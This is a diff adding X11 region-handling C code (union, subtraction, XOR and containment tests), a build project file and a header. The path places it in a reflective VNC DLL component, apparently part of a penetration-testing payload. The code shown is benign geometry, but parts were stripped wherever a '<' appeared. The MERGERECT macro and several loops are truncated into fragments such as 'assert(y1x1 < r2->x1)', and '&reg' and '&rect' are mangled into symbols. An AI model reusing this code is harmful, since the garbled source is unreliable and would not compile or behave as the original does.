scanline of the current. + */ + if (pPrevBox->y2 == pCurBox->y1) + { + /* + * Make sure the bands have boxes in the same places. This + * assumes that boxes have been added in such a way that they + * cover the most area possible. I.e. two boxes in a band must + * have some horizontal space between them. + */ + do + { + if ((pPrevBox->x1 != pCurBox->x1) || + (pPrevBox->x2 != pCurBox->x2)) + { + /* + * The bands don't line up so they can't be coalesced. + */ + return (curStart); + } + pPrevBox++; + pCurBox++; + prevNumRects -= 1; + } while (prevNumRects != 0); + + pReg->numRects -= curNumRects; + pCurBox -= curNumRects; + pPrevBox -= curNumRects; + + /* + * The bands may be merged, so set the bottom y of each box + * in the previous band to that of the corresponding box in + * the current band. + */ + do + { + pPrevBox->y2 = pCurBox->y2; + pPrevBox++; + pCurBox++; + curNumRects -= 1; + } while (curNumRects != 0); + + /* + * If only one band was added to the region, we have to backup + * curStart to the start of the previous band. + * + * If more than one band was added to the region, copy the + * other bands down. The assumption here is that the other bands + * came from the same region as the current one and no further + * coalescing can be done on them since it's all been done + * already... curStart is already in the right place. + */ + if (pCurBox == pRegEnd) + { + curStart = prevStart; + } + else + { + do + { + *pPrevBox++ = *pCurBox++; + } while (pCurBox != pRegEnd); + } + + } + } + return (curStart); +} + +/*- + *----------------------------------------------------------------------- + * miRegionOp -- + * Apply an operation to two regions. Called by miUnion, miInverse, + * miSubtract, miIntersect... + * + * Results: + * None. + * + * Side Effects: + * The new region is overwritten. + * + * Notes: + * The idea behind this function is to view the two regions as sets. + * Together they cover a rectangle of area that this function divides + * into horizontal bands where points are covered only by one region + * or by both. For the first case, the nonOverlapFunc is called with + * each the band and the band's upper and lower extents. For the + * second, the overlapFunc is called to process the entire band. It + * is responsible for clipping the rectangles in the band, though + * this function provides the boundaries. + * At the end of each band, the new region is coalesced, if possible, + * to reduce the number of rectangles in the region. + * + *----------------------------------------------------------------------- + */ +/* static void*/ +static void +miRegionOp(newReg, reg1, reg2, overlapFunc, nonOverlap1Func, nonOverlap2Func) + register XRegion newReg; /* Place to store result */ + XRegion reg1; /* First region in operation */ + XRegion reg2; /* 2d region in operation */ + void (*overlapFunc)(); /* Function to call for over- + * lapping bands */ + void (*nonOverlap1Func)(); /* Function to call for non- + * overlapping bands in region + * 1 */ + void (*nonOverlap2Func)(); /* Function to call for non- + * overlapping bands in region + * 2 */ +{ + register BoxPtr r1; /* Pointer into first region */ + register BoxPtr r2; /* Pointer into 2d region */ + BoxPtr r1End; /* End of 1st region */ + BoxPtr r2End; /* End of 2d region */ + register short ybot; /* Bottom of intersection */ + register short ytop; /* Top of intersection */ + BoxPtr oldRects; /* Old rects for newReg */ + int prevBand; /* Index of start of + * previous band in newReg */ + int curBand; /* Index of start of current + * band in newReg */ + register BoxPtr r1BandEnd; /* End of current band in r1 */ + register BoxPtr r2BandEnd; /* End of current band in r2 */ + short top; /* Top of non-overlapping + * band */ + short bot; /* Bottom of non-overlapping + * band */ + + /* + * Initialization: + * set r1, r2, r1End and r2End appropriately, preserve the important + * parts of the destination region until the end in case it's one of + * the two source regions, then mark the "new" region empty, allocating + * another array of rectangles for it to use. + */ + r1 = reg1->rects; + r2 = reg2->rects; + r1End = r1 + reg1->numRects; + r2End = r2 + reg2->numRects; + + oldRects = newReg->rects; + + EMPTY_REGION(newReg); + + /* + * Allocate a reasonable number of rectangles for the new region. The idea + * is to allocate enough so the individual functions don't need to + * reallocate and copy the array, which is time consuming, yet we don't + * have to worry about using too much memory. I hope to be able to + * nuke the Xrealloc() at the end of this function eventually. + */ + newReg->size = max(reg1->numRects,reg2->numRects) * 2; + + if (! (newReg->rects = (BoxPtr) + Xmalloc ((unsigned) (sizeof(BoxRec) * newReg->size)))) { + newReg->size = 0; + return; + } + + /* + * Initialize ybot and ytop. + * In the upcoming loop, ybot and ytop serve different functions depending + * on whether the band being handled is an overlapping or non-overlapping + * band. + * In the case of a non-overlapping band (only one of the regions + * has points in the band), ybot is the bottom of the most recent + * intersection and thus clips the top of the rectangles in that band. + * ytop is the top of the next intersection between the two regions and + * serves to clip the bottom of the rectangles in the current band. + * For an overlapping band (where the two regions intersect), ytop clips + * the top of the rectangles of both regions and ybot clips the bottoms. + */ + if (reg1->extents.y1 < reg2->extents.y1) + ybot = reg1->extents.y1; + else + ybot = reg2->extents.y1; + + /* + * prevBand serves to mark the start of the previous band so rectangles + * can be coalesced into larger rectangles. qv. miCoalesce, above. + * In the beginning, there is no previous band, so prevBand == curBand + * (curBand is set later on, of course, but the first band will always + * start at index 0). prevBand and curBand must be indices because of + * the possible expansion, and resultant moving, of the new region's + * array of rectangles. + */ + prevBand = 0; + + do + { + curBand = newReg->numRects; + + /* + * This algorithm proceeds one source-band (as opposed to a + * destination band, which is determined by where the two regions + * intersect) at a time. r1BandEnd and r2BandEnd serve to mark the + * rectangle after the last one in the current band for their + * respective regions. + */ + r1BandEnd = r1; + while ((r1BandEnd != r1End) && (r1BandEnd->y1 == r1->y1)) + { + r1BandEnd++; + } + + r2BandEnd = r2; + while ((r2BandEnd != r2End) && (r2BandEnd->y1 == r2->y1)) + { + r2BandEnd++; + } + + /* + * First handle the band that doesn't intersect, if any. + * + * Note that attention is restricted to one band in the + * non-intersecting region at once, so if a region has n + * bands between the current position and the next place it overlaps + * the other, this entire loop will be passed through n times. + */ + if (r1->y1 < r2->y1) + { + top = max(r1->y1,ybot); + bot = min(r1->y2,r2->y1); + + if ((top != bot) && (nonOverlap1Func != (void (*)())NULL)) + { + (* nonOverlap1Func) (newReg, r1, r1BandEnd, top, bot); + } + + ytop = r2->y1; + } + else if (r2->y1 < r1->y1) + { + top = max(r2->y1,ybot); + bot = min(r2->y2,r1->y1); + + if ((top != bot) && (nonOverlap2Func != (void (*)())NULL)) + { + (* nonOverlap2Func) (newReg, r2, r2BandEnd, top, bot); + } + + ytop = r1->y1; + } + else + { + ytop = r1->y1; + } + + /* + * If any rectangles got added to the region, try and coalesce them + * with rectangles from the previous band. Note we could just do + * this test in miCoalesce, but some machines incur a not + * inconsiderable cost for function calls, so... + */ + if (newReg->numRects != curBand) + { + prevBand = miCoalesce (newReg, prevBand, curBand); + } + + /* + * Now see if we've hit an intersecting band. The two bands only + * intersect if ybot > ytop + */ + ybot = min(r1->y2, r2->y2); + curBand = newReg->numRects; + if (ybot > ytop) + { + (* overlapFunc) (newReg, r1, r1BandEnd, r2, r2BandEnd, ytop, ybot); + + } + + if (newReg->numRects != curBand) + { + prevBand = miCoalesce (newReg, prevBand, curBand); + } + + /* + * If we've finished with a band (y2 == ybot) we skip forward + * in the region to the next band. + */ + if (r1->y2 == ybot) + { + r1 = r1BandEnd; + } + if (r2->y2 == ybot) + { + r2 = r2BandEnd; + } + } while ((r1 != r1End) && (r2 != r2End)); + + /* + * Deal with whichever region still has rectangles left. + */ + curBand = newReg->numRects; + if (r1 != r1End) + { + if (nonOverlap1Func != (void (*)())NULL) + { + do + { + r1BandEnd = r1; + while ((r1BandEnd < r1End) && (r1BandEnd->y1 == r1->y1)) + { + r1BandEnd++; + } + (* nonOverlap1Func) (newReg, r1, r1BandEnd, + max(r1->y1,ybot), r1->y2); + r1 = r1BandEnd; + } while (r1 != r1End); + } + } + else if ((r2 != r2End) && (nonOverlap2Func != (void (*)())NULL)) + { + do + { + r2BandEnd = r2; + while ((r2BandEnd < r2End) && (r2BandEnd->y1 == r2->y1)) + { + r2BandEnd++; + } + (* nonOverlap2Func) (newReg, r2, r2BandEnd, + max(r2->y1,ybot), r2->y2); + r2 = r2BandEnd; + } while (r2 != r2End); + } + + if (newReg->numRects != curBand) + { + (void) miCoalesce (newReg, prevBand, curBand); + } + + /* + * A bit of cleanup. To keep regions from growing without bound, + * we shrink the array of rectangles to match the new number of + * rectangles in the region. This never goes to 0, however... + * + * Only do this stuff if the number of rectangles allocated is more than + * twice the number of rectangles in the region (a simple optimization...). + */ + if (newReg->numRects < (newReg->size >> 1)) + { + if (REGION_NOT_EMPTY(newReg)) + { + BoxPtr prev_rects = newReg->rects; + newReg->size = newReg->numRects; + newReg->rects = (BoxPtr) Xrealloc ((char *) newReg->rects, + (unsigned) (sizeof(BoxRec) * newReg->size)); + if (! newReg->rects) + newReg->rects = prev_rects; + } + else + { + /* + * No point in doing the extra work involved in an Xrealloc if + * the region is empty + */ + newReg->size = 1; + Xfree((char *) newReg->rects); + newReg->rects = (BoxPtr) Xmalloc(sizeof(BoxRec)); + } + } + Xfree ((char *) oldRects); + return; +} + + +/*====================================================================== + * Region Union + *====================================================================*/ + +/*- + *----------------------------------------------------------------------- + * miUnionNonO -- + * Handle a non-overlapping band for the union operation. Just + * Adds the rectangles into the region. Doesn't have to check for + * subsumption or anything. + * + * Results: + * None. + * + * Side Effects: + * pReg->numRects is incremented and the final rectangles overwritten + * with the rectangles we're passed. + * + *----------------------------------------------------------------------- + */ +/* static void*/ +static int +miUnionNonO (pReg, r, rEnd, y1, y2) + register XRegion pReg; + register BoxPtr r; + BoxPtr rEnd; + register short y1; + register short y2; +{ + register BoxPtr pNextRect; + + pNextRect = &pReg->rects[pReg->numRects]; + + assert(y1 < y2); + + while (r != rEnd) + { + assert(r->x1 < r->x2); + MEMCHECK(pReg, pNextRect, pReg->rects); + pNextRect->x1 = r->x1; + pNextRect->y1 = y1; + pNextRect->x2 = r->x2; + pNextRect->y2 = y2; + pReg->numRects += 1; + pNextRect++; + + assert(pReg->numRects<=pReg->size); + r++; + } + return 0; /* lint */ +} + + +/*- + *----------------------------------------------------------------------- + * miUnionO -- + * Handle an overlapping band for the union operation. Picks the + * left-most rectangle each time and merges it into the region. + * + * Results: + * None. + * + * Side Effects: + * Rectangles are overwritten in pReg->rects and pReg->numRects will + * be changed. + * + *----------------------------------------------------------------------- + */ + +/* static void*/ +static int +miUnionO (pReg, r1, r1End, r2, r2End, y1, y2) + register XRegion pReg; + register BoxPtr r1; + BoxPtr r1End; + register BoxPtr r2; + BoxPtr r2End; + register short y1; + register short y2; +{ + register BoxPtr pNextRect; + + pNextRect = &pReg->rects[pReg->numRects]; + +#define MERGERECT(r) \ + if ((pReg->numRects != 0) && \ + (pNextRect[-1].y1 == y1) && \ + (pNextRect[-1].y2 == y2) && \ + (pNextRect[-1].x2 >= r->x1)) \ + { \ + if (pNextRect[-1].x2 < r->x2) \ + { \ + pNextRect[-1].x2 = r->x2; \ + assert(pNextRect[-1].x1rects); \ + pNextRect->y1 = y1; \ + pNextRect->y2 = y2; \ + pNextRect->x1 = r->x1; \ + pNextRect->x2 = r->x2; \ + pReg->numRects += 1; \ + pNextRect += 1; \ + } \ + assert(pReg->numRects<=pReg->size);\ + r++; + + assert (y1x1 < r2->x1) + { + MERGERECT(r1); + } + else + { + MERGERECT(r2); + } + } + + if (r1 != r1End) + { + do + { + MERGERECT(r1); + } while (r1 != r1End); + } + else while (r2 != r2End) + { + MERGERECT(r2); + } + return 0; /* lint */ +} + +int +XUnionRegion(reg1, reg2, newReg) + XRegion reg1; + XRegion reg2; /* source XRegions */ + XRegion newReg; /* destination Region */ +{ + /* checks all the simple cases */ + + /* + * Region 1 and 2 are the same or region 1 is empty + */ + if ( (reg1 == reg2) || (!(reg1->numRects)) ) + { + if (newReg != reg2) + miRegionCopy(newReg, reg2); + return 1; + } + + /* + * if nothing to union (region 2 empty) + */ + if (!(reg2->numRects)) + { + if (newReg != reg1) + miRegionCopy(newReg, reg1); + return 1; + } + + /* + * Region 1 completely subsumes region 2 + */ + if ((reg1->numRects == 1) && + (reg1->extents.x1 <= reg2->extents.x1) && + (reg1->extents.y1 <= reg2->extents.y1) && + (reg1->extents.x2 >= reg2->extents.x2) && + (reg1->extents.y2 >= reg2->extents.y2)) + { + if (newReg != reg1) + miRegionCopy(newReg, reg1); + return 1; + } + + /* + * Region 2 completely subsumes region 1 + */ + if ((reg2->numRects == 1) && + (reg2->extents.x1 <= reg1->extents.x1) && + (reg2->extents.y1 <= reg1->extents.y1) && + (reg2->extents.x2 >= reg1->extents.x2) && + (reg2->extents.y2 >= reg1->extents.y2)) + { + if (newReg != reg2) + miRegionCopy(newReg, reg2); + return 1; + } + + miRegionOp (newReg, reg1, reg2, (voidProcp) miUnionO, + (voidProcp) miUnionNonO, (voidProcp) miUnionNonO); + + newReg->extents.x1 = min(reg1->extents.x1, reg2->extents.x1); + newReg->extents.y1 = min(reg1->extents.y1, reg2->extents.y1); + newReg->extents.x2 = max(reg1->extents.x2, reg2->extents.x2); + newReg->extents.y2 = max(reg1->extents.y2, reg2->extents.y2); + + return 1; +} + + +/*====================================================================== + * Region Subtraction + *====================================================================*/ + +/*- + *----------------------------------------------------------------------- + * miSubtractNonO -- + * Deal with non-overlapping band for subtraction. Any parts from + * region 2 we discard. Anything from region 1 we add to the region. + * + * Results: + * None. + * + * Side Effects: + * pReg may be affected. + * + *----------------------------------------------------------------------- + */ +/* static void*/ +static int +miSubtractNonO1 (pReg, r, rEnd, y1, y2) + register XRegion pReg; + register BoxPtr r; + BoxPtr rEnd; + register short y1; + register short y2; +{ + register BoxPtr pNextRect; + + pNextRect = &pReg->rects[pReg->numRects]; + + assert(y1x1x2); + MEMCHECK(pReg, pNextRect, pReg->rects); + pNextRect->x1 = r->x1; + pNextRect->y1 = y1; + pNextRect->x2 = r->x2; + pNextRect->y2 = y2; + pReg->numRects += 1; + pNextRect++; + + assert(pReg->numRects <= pReg->size); + + r++; + } + return 0; /* lint */ +} + +/*- + *----------------------------------------------------------------------- + * miSubtractO -- + * Overlapping band subtraction. x1 is the left-most point not yet + * checked. + * + * Results: + * None. + * + * Side Effects: + * pReg may have rectangles added to it. + * + *----------------------------------------------------------------------- + */ +/* static void*/ +static int +miSubtractO (pReg, r1, r1End, r2, r2End, y1, y2) + register XRegion pReg; + register BoxPtr r1; + BoxPtr r1End; + register BoxPtr r2; + BoxPtr r2End; + register short y1; + register short y2; +{ + register BoxPtr pNextRect; + register int x1; + + x1 = r1->x1; + + assert(y1rects[pReg->numRects]; + + while ((r1 != r1End) && (r2 != r2End)) + { + if (r2->x2 <= x1) + { + /* + * Subtrahend missed the boat: go to next subtrahend. + */ + r2++; + } + else if (r2->x1 <= x1) + { + /* + * Subtrahend preceeds minuend: nuke left edge of minuend. + */ + x1 = r2->x2; + if (x1 >= r1->x2) + { + /* + * Minuend completely covered: advance to next minuend and + * reset left fence to edge of new minuend. + */ + r1++; + if (r1 != r1End) + x1 = r1->x1; + } + else + { + /* + * Subtrahend now used up since it doesn't extend beyond + * minuend + */ + r2++; + } + } + else if (r2->x1 < r1->x2) + { + /* + * Left part of subtrahend covers part of minuend: add uncovered + * part of minuend to region and skip to next subtrahend. + */ + assert(x1x1); + MEMCHECK(pReg, pNextRect, pReg->rects); + pNextRect->x1 = x1; + pNextRect->y1 = y1; + pNextRect->x2 = r2->x1; + pNextRect->y2 = y2; + pReg->numRects += 1; + pNextRect++; + + assert(pReg->numRects<=pReg->size); + + x1 = r2->x2; + if (x1 >= r1->x2) + { + /* + * Minuend used up: advance to new... + */ + r1++; + if (r1 != r1End) + x1 = r1->x1; + } + else + { + /* + * Subtrahend used up + */ + r2++; + } + } + else + { + /* + * Minuend used up: add any remaining piece before advancing. + */ + if (r1->x2 > x1) + { + MEMCHECK(pReg, pNextRect, pReg->rects); + pNextRect->x1 = x1; + pNextRect->y1 = y1; + pNextRect->x2 = r1->x2; + pNextRect->y2 = y2; + pReg->numRects += 1; + pNextRect++; + assert(pReg->numRects<=pReg->size); + } + r1++; + x1 = r1->x1; + } + } + + /* + * Add remaining minuend rectangles to region. + */ + while (r1 != r1End) + { + assert(x1x2); + MEMCHECK(pReg, pNextRect, pReg->rects); + pNextRect->x1 = x1; + pNextRect->y1 = y1; + pNextRect->x2 = r1->x2; + pNextRect->y2 = y2; + pReg->numRects += 1; + pNextRect++; + + assert(pReg->numRects<=pReg->size); + + r1++; + if (r1 != r1End) + { + x1 = r1->x1; + } + } + return 0; /* lint */ +} + +/*- + *----------------------------------------------------------------------- + * miSubtract -- + * Subtract regS from regM and leave the result in regD. + * S stands for subtrahend, M for minuend and D for difference. + * + * Results: + * TRUE. + * + * Side Effects: + * regD is overwritten. + * + *----------------------------------------------------------------------- + */ + +int +XSubtractRegion(regM, regS, regD) + XRegion regM; + XRegion regS; + register XRegion regD; +{ + /* check for trivial reject */ + if ( (!(regM->numRects)) || (!(regS->numRects)) || + (!EXTENTCHECK(®M->extents, ®S->extents)) ) + { + miRegionCopy(regD, regM); + return 1; + } + + miRegionOp (regD, regM, regS, (voidProcp) miSubtractO, + (voidProcp) miSubtractNonO1, (voidProcp) NULL); + + /* + * Can't alter newReg's extents before we call miRegionOp because + * it might be one of the source regions and miRegionOp depends + * on the extents of those regions being the unaltered. Besides, this + * way there's no checking against rectangles that will be nuked + * due to coalescing, so we have to examine fewer rectangles. + */ + miSetExtents (regD); + return 1; +} + +int +XXorRegion( sra, srb, dr ) + XRegion sra, srb, dr; +{ + XRegion tra, trb; + + if ((! (tra = XCreateRegion())) || (! (trb = XCreateRegion()))) + return 0; + (void) XSubtractRegion(sra,srb,tra); + (void) XSubtractRegion(srb,sra,trb); + (void) XUnionRegion(tra,trb,dr); + XDestroyRegion(tra); + XDestroyRegion(trb); + return 0; +} + +/* + * Check to see if the region is empty. Assumes a region is passed + * as a parameter + */ +int +XEmptyRegion( r ) + XRegion r; +{ + if( r->numRects == 0 ) return TRUE; + else return FALSE; +} + +/* + * Check to see if two regions are equal + */ +int +XEqualRegion( r1, r2 ) + XRegion r1, r2; +{ + int i; + + if( r1->numRects != r2->numRects ) return FALSE; + else if( r1->numRects == 0 ) return TRUE; + else if ( r1->extents.x1 != r2->extents.x1 ) return FALSE; + else if ( r1->extents.x2 != r2->extents.x2 ) return FALSE; + else if ( r1->extents.y1 != r2->extents.y1 ) return FALSE; + else if ( r1->extents.y2 != r2->extents.y2 ) return FALSE; + else for( i=0; i < r1->numRects; i++ ) { + if ( r1->rects[i].x1 != r2->rects[i].x1 ) return FALSE; + else if ( r1->rects[i].x2 != r2->rects[i].x2 ) return FALSE; + else if ( r1->rects[i].y1 != r2->rects[i].y1 ) return FALSE; + else if ( r1->rects[i].y2 != r2->rects[i].y2 ) return FALSE; + } + return TRUE; +} + +int +XPointInRegion( pRegion, x, y ) + XRegion pRegion; + int x, y; +{ + int i; + + if (pRegion->numRects == 0) + return FALSE; + if (!INBOX(pRegion->extents, x, y)) + return FALSE; + for (i=0; inumRects; i++) + { + if (INBOX (pRegion->rects[i], x, y)) + return TRUE; + } + return FALSE; +} + +int +XRectInRegion(region, rx, ry, rwidth, rheight) + register XRegion region; + int rx, ry; + unsigned int rwidth, rheight; +{ + register BoxPtr pbox; + register BoxPtr pboxEnd; + Box rect; + register BoxPtr prect = ▭ + int partIn, partOut; + + prect->x1 = rx; + prect->y1 = ry; + prect->x2 = rwidth + rx; + prect->y2 = rheight + ry; + + /* this is (just) a useful optimization */ + if ((region->numRects == 0) || !EXTENTCHECK(®ion->extents, prect)) + return(RectangleOut); + + partOut = FALSE; + partIn = FALSE; + + /* can stop when both partOut and partIn are TRUE, or we reach prect->y2 */ + for (pbox = region->rects, pboxEnd = pbox + region->numRects; + pbox < pboxEnd; + pbox++) + { + + if (pbox->y2 <= ry) + continue; /* getting up to speed or skipping remainder of band */ + + if (pbox->y1 > ry) + { + partOut = TRUE; /* missed part of rectangle above */ + if (partIn || (pbox->y1 >= prect->y2)) + break; + ry = pbox->y1; /* x guaranteed to be == prect->x1 */ + } + + if (pbox->x2 <= rx) + continue; /* not far enough over yet */ + + if (pbox->x1 > rx) + { + partOut = TRUE; /* missed part of rectangle to left */ + if (partIn) + break; + } + + if (pbox->x1 < prect->x2) + { + partIn = TRUE; /* definitely overlap */ + if (partOut) + break; + } + + if (pbox->x2 >= prect->x2) + { + ry = pbox->y2; /* finished with this band */ + if (ry >= prect->y2) + break; + rx = prect->x1; /* reset x out to left again */ + } else + { + /* + * Because boxes in a band are maximal width, if the first box + * to overlap the rectangle doesn't completely cover it in that + * band, the rectangle must be partially out, since some of it + * will be uncovered in that band. partIn will have been set true + * by now... + */ + break; + } + + } + + return(partIn ? ((ry < prect->y2) ? RectanglePart : RectangleIn) : + RectangleOut); +} diff --git a/external/source/reflective_vncdll/Xregion/Release/BuildLog.htm b/external/source/reflective_vncdll/Xregion/Release/BuildLog.htm new file mode 100644 index 0000000000..22997c05d9 Binary files /dev/null and b/external/source/reflective_vncdll/Xregion/Release/BuildLog.htm differ diff --git a/external/source/reflective_vncdll/Xregion/Release/Region.obj b/external/source/reflective_vncdll/Xregion/Release/Region.obj new file mode 100644 index 0000000000..411f4b32f8 Binary files /dev/null and b/external/source/reflective_vncdll/Xregion/Release/Region.obj differ diff --git a/external/source/reflective_vncdll/Xregion/Release/Xregion.lib b/external/source/reflective_vncdll/Xregion/Release/Xregion.lib new file mode 100644 index 0000000000..22494241e1 Binary files /dev/null and b/external/source/reflective_vncdll/Xregion/Release/Xregion.lib differ diff --git a/external/source/reflective_vncdll/Xregion/Release/vc90.idb b/external/source/reflective_vncdll/Xregion/Release/vc90.idb new file mode 100644 index 0000000000..30cd163677 Binary files /dev/null and b/external/source/reflective_vncdll/Xregion/Release/vc90.idb differ diff --git a/external/source/reflective_vncdll/Xregion/Xregion.dsp b/external/source/reflective_vncdll/Xregion/Xregion.dsp new file mode 100644 index 0000000000..c22777759e --- /dev/null +++ b/external/source/reflective_vncdll/Xregion/Xregion.dsp @@ -0,0 +1,104 @@ +# Microsoft Developer Studio Project File - Name="Xregion" - Package Owner=<4> +# Microsoft Developer Studio Generated Build File, Format Version 6.00 +# ** DO NOT EDIT ** + +# TARGTYPE "Win32 (x86) Static Library" 0x0104 + +CFG=Xregion - Win32 Debug +!MESSAGE This is not a valid makefile. To build this project using NMAKE, +!MESSAGE use the Export Makefile command and run +!MESSAGE +!MESSAGE NMAKE /f "Xregion.mak". +!MESSAGE +!MESSAGE You can specify a configuration when running NMAKE +!MESSAGE by defining the macro CFG on the command line. For example: +!MESSAGE +!MESSAGE NMAKE /f "Xregion.mak" CFG="Xregion - Win32 Debug" +!MESSAGE +!MESSAGE Possible choices for configuration are: +!MESSAGE +!MESSAGE "Xregion - Win32 Release" (based on "Win32 (x86) Static Library") +!MESSAGE "Xregion - Win32 Debug" (based on "Win32 (x86) Static Library") +!MESSAGE + +# Begin Project +# PROP AllowPerConfigDependencies 0 +# PROP Scc_ProjName "" +# PROP Scc_LocalPath "" +CPP=cl.exe +RSC=rc.exe + +!IF "$(CFG)" == "Xregion - Win32 Release" + +# PROP BASE Use_MFC 0 +# PROP BASE Use_Debug_Libraries 0 +# PROP BASE Output_Dir "Release" +# PROP BASE Intermediate_Dir "Release" +# PROP BASE Target_Dir "" +# PROP Use_MFC 0 +# PROP Use_Debug_Libraries 0 +# PROP Output_Dir "Release" +# PROP Intermediate_Dir "Release" +# PROP Target_Dir "" +# ADD BASE CPP /nologo /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_MBCS" /D "_LIB" /YX /FD /c +# ADD CPP /nologo /MT /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_MBCS" /D "_LIB" /YX /FD /c +# ADD BASE RSC /l 0x809 /d "NDEBUG" +# ADD RSC /l 0x809 /d "NDEBUG" +BSC32=bscmake.exe +# ADD BASE BSC32 /nologo +# ADD BSC32 /nologo +LIB32=link.exe -lib +# ADD BASE LIB32 /nologo +# ADD LIB32 /nologo + +!ELSEIF "$(CFG)" == "Xregion - Win32 Debug" + +# PROP BASE Use_MFC 0 +# PROP BASE Use_Debug_Libraries 1 +# PROP BASE Output_Dir "Debug" +# PROP BASE Intermediate_Dir "Debug" +# PROP BASE Target_Dir "" +# PROP Use_MFC 0 +# PROP Use_Debug_Libraries 1 +# PROP Output_Dir "Debug" +# PROP Intermediate_Dir "Debug" +# PROP Target_Dir "" +# ADD BASE CPP /nologo /W3 /Gm /GX /ZI /Od /D "WIN32" /D "_DEBUG" /D "_MBCS" /D "_LIB" /YX /FD /GZ /c +# ADD CPP /nologo /MTd /W3 /Gm /GX /ZI /Od /D "WIN32" /D "_DEBUG" /D "_MBCS" /D "_LIB" /YX /FD /GZ /c +# ADD BASE RSC /l 0x809 /d "_DEBUG" +# ADD RSC /l 0x809 /d "_DEBUG" +BSC32=bscmake.exe +# ADD BASE BSC32 /nologo +# ADD BSC32 /nologo +LIB32=link.exe -lib +# ADD BASE LIB32 /nologo +# ADD LIB32 /nologo + +!ENDIF + +# Begin Target + +# Name "Xregion - Win32 Release" +# Name "Xregion - Win32 Debug" +# Begin Group "Source Files" + +# PROP Default_Filter "cpp;c;cxx;rc;def;r;odl;idl;hpj;bat" +# Begin Source File + +SOURCE=.\Region.c +# End Source File +# End Group +# Begin Group "Header Files" + +# PROP Default_Filter "h;hpp;hxx;hm;inl" +# Begin Source File + +SOURCE=.\region.h +# End Source File +# Begin Source File + +SOURCE=.\Xregion.h +# End Source File +# End Group +# End Target +# End Project diff --git a/external/source/reflective_vncdll/Xregion/Xregion.h b/external/source/reflective_vncdll/Xregion/Xregion.h new file mode 100644 index 0000000000..4cb25cf4f6 --- /dev/null +++ b/external/source/reflective_vncdll/Xregion/Xregion.h @@ -0,0 +1,214 @@ +/* $Xorg: Xutil.h,v 1.8 2001/02/09 02:03:39 xorgcvs Exp $ */ + +/*********************************************************** + +Copyright 1987, 1998 The Open Group + +Permission to use, copy, modify, distribute, and sell this software and its +documentation for any purpose is hereby granted without fee, provided that +the above copyright notice appear in all copies and that both that +copyright notice and this permission notice appear in supporting +documentation. + +The above copyright notice and this permission notice shall be included in +all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +OPEN GROUP BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN +AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN +CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. + +Except as contained in this notice, the name of The Open Group shall not be +used in advertising or otherwise to promote the sale, use or other dealings +in this Software without prior written authorization from The Open Group. + + +Copyright 1987 by Digital Equipment Corporation, Maynard, Massachusetts. + + All Rights Reserved + +Permission to use, copy, modify, and distribute this software and its +documentation for any purpose and without fee is hereby granted, +provided that the above copyright notice appear in all copies and that +both that copyright notice and this permission notice appear in +supporting documentation, and that the name of Digital not be +used in advertising or publicity pertaining to distribution of the +software without specific, written prior permission. + +DIGITAL DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE, INCLUDING +ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS, IN NO EVENT SHALL +DIGITAL BE LIABLE FOR ANY SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES OR +ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, +WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, +ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS +SOFTWARE. + +******************************************************************/ +/* $XFree86: xc/lib/X11/Xutil.h,v 3.4 2001/12/14 19:54:10 dawes Exp $ */ + +#ifndef _XREGION_H_ +#define _XREGION_H_ + +// - Faked defines to fool the X11 region code + +#include +#include + +#define Bool int +#define Xmalloc malloc +#define Xfree free +#define Xrealloc realloc + +#define NeedFunctionPrototypes 1 + +// - Cribbed from Xlib.h + +typedef struct { + short x, y; +} XPoint; + +typedef struct { + short x, y; + unsigned short width, height; +} XRectangle; + +//#include + +/* + * opaque reference to Region data type + */ +typedef struct _XRegion *XRegion; + +/* Return values from XRectInRegion() */ + +#define RectangleOut 0 +#define RectangleIn 1 +#define RectanglePart 2 + +#ifdef __cplusplus +extern "C" { +#endif + +extern int XClipBox( +#if NeedFunctionPrototypes + XRegion /* r */, + XRectangle* /* rect_return */ +#endif +); + +extern XRegion XCreateRegion( +#if NeedFunctionPrototypes + void +#endif +); + +extern const char *XDefaultString (void); + +extern int XDestroyRegion( +#if NeedFunctionPrototypes + XRegion /* r */ +#endif +); + +extern int XEmptyRegion( +#if NeedFunctionPrototypes + XRegion /* r */ +#endif +); + +extern int XEqualRegion( +#if NeedFunctionPrototypes + XRegion /* r1 */, + XRegion /* r2 */ +#endif +); + +extern int XIntersectRegion( +#if NeedFunctionPrototypes + XRegion /* sra */, + XRegion /* srb */, + XRegion /* dr_return */ +#endif +); + +extern int XOffsetRegion( +#if NeedFunctionPrototypes + XRegion /* r */, + int /* dx */, + int /* dy */ +#endif +); + +extern Bool XPointInRegion( +#if NeedFunctionPrototypes + XRegion /* r */, + int /* x */, + int /* y */ +#endif +); + +extern XRegion XPolygonRegion( +#if NeedFunctionPrototypes + XPoint* /* points */, + int /* n */, + int /* fill_rule */ +#endif +); + +extern int XRectInRegion( +#if NeedFunctionPrototypes + XRegion /* r */, + int /* x */, + int /* y */, + unsigned int /* width */, + unsigned int /* height */ +#endif +); + +extern int XShrinkRegion( +#if NeedFunctionPrototypes + XRegion /* r */, + int /* dx */, + int /* dy */ +#endif +); + +extern int XSubtractRegion( +#if NeedFunctionPrototypes + XRegion /* sra */, + XRegion /* srb */, + XRegion /* dr_return */ +#endif +); + +extern int XUnionRectWithRegion( +#if NeedFunctionPrototypes + XRectangle* /* rectangle */, + XRegion /* src_region */, + XRegion /* dest_region_return */ +#endif +); + +extern int XUnionRegion( +#if NeedFunctionPrototypes + XRegion /* sra */, + XRegion /* srb */, + XRegion /* dr_return */ +#endif +); + +extern int XXorRegion( +#if NeedFunctionPrototypes + XRegion /* sra */, 